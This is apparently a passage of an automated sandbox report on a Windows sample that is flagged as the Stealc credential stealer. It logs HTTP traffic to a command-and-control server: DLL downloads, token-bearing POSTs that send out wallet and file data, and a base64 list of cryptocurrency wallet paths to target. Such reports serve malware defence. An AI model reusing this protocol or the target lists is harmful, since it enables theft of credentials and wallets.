mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 8, 2024 08:22:13.407119989 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 08:22:13.625117064 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 8, 2024 08:22:14.898749113 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 08:22:15.117347002 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 8, 2024 08:22:16.717292070 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 08:22:16.935164928 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 8, 2024 08:22:17.113265991 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 08:22:17.333970070 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 8, 2024 08:22:18.211451054 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDGIIDHJEBGIDHJJDBK Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 08:22:19.141635895 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 08:22:19.141907930 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 08:22:19.277203083 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJECGHJDBFIJJJKEHCB Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 2d 2d 0d 0a Data Ascii: ------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="message"wallets------KJJECGHJDBFIJJJKEHCB--
Oct 8, 2024 08:22:19.497884989 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:19 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 8, 2024 08:22:19.507536888 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECFCGHIDHCAKEBFCFHC Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 2d 2d 0d 0a Data Ascii: ------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="message"files------KECFCGHIDHCAKEBFCFHC--
Oct 8, 2024 08:22:19.728396893 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 08:22:19.741750002 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDBGCBGIDHCBGDHIEBF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="file"------CGDBGCBGIDHCBGDHIEBF--
Oct 8, 2024 08:22:20.565954924 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 08:22:20.604614973 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFCBFCBFBKEBFIDBKEC Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 2d 2d 0d 0a Data Ascii: ------BKFCBFCBFBKEBFIDBKECContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------BKFCBFCBFBKEBFIDBKECContent-Disposition: form-data; name="message"ybncbhylepme------BKFCBFCBFBKEBFIDBKEC--
Oct 8, 2024 08:22:20.839490891 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:20 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 4676 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6f 66 66 69 63 65 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 [TRUNCATED] Data Ascii: .pl<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>.ar<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>*.br<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.offi
Oct 8, 2024 08:22:20.841125965 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCGHDGIEGCBFIEGCB Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 2d 2d 0d 0a Data Ascii: ------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GCBGCGHDGIEGCBFIEGCB--
Oct 8, 2024 08:22:21.557183981 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

IRC Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 8, 2024 08:22:07.424961090 CEST	80	49730	185.215.113.37	192.168.2.4	JOIN clause is required before %s%d columns assigned %d valuescannot use RETURNING in a triggerDISTINCT is not supported for window functionstoo many arguments on function %TUNIONORDER BYLIMIT%s clause should come after %s not beforetoo many terms in compound SELECTsyntax error after column name "%.*s"table %s may not be alteredduplicate WITH table name: %sframe specificationORDER BY clausePARTITION clausecannot override %s of window: %sunsupported frame specificationno such collation sequence: %ssqlite\_%sqlite_stat1BBBobject name reserved for internal use: %stoo many terms in %s BY clause%r %s BY term out of range - should be between 1 and %dFOREIGN KEY constraint failedvtable constructor called recursively: %svtable constructor failed: %svtable constructor did not declare schema: %shidden%s.%s%s.rowiderror in %s %s%s%s: %scolumn%dDISTINCT aggregates must have exactly one argumentUSE TEMP B-TREE FOR %s(DISTINCT)"%w" %Q%sdelayed %dms for lock/sharing conflict at line %dcannot limit WAL size: %sfailed memory resize %u to %u bytesfailed to allocate %u bytes of memorycannot open file%s at line %d of [%.10s]database corruptionerror in %s %s after %s: %smalformed database sc

Target ID:	0
Start time:	02:22:00
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x570000
File size:	1'811'968 bytes
MD5 hash:	9F58B919BF1BFFF6184E9086795F1E01
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1723473473.0000000005030000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1950543917.00000000012EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	25%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 00589860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

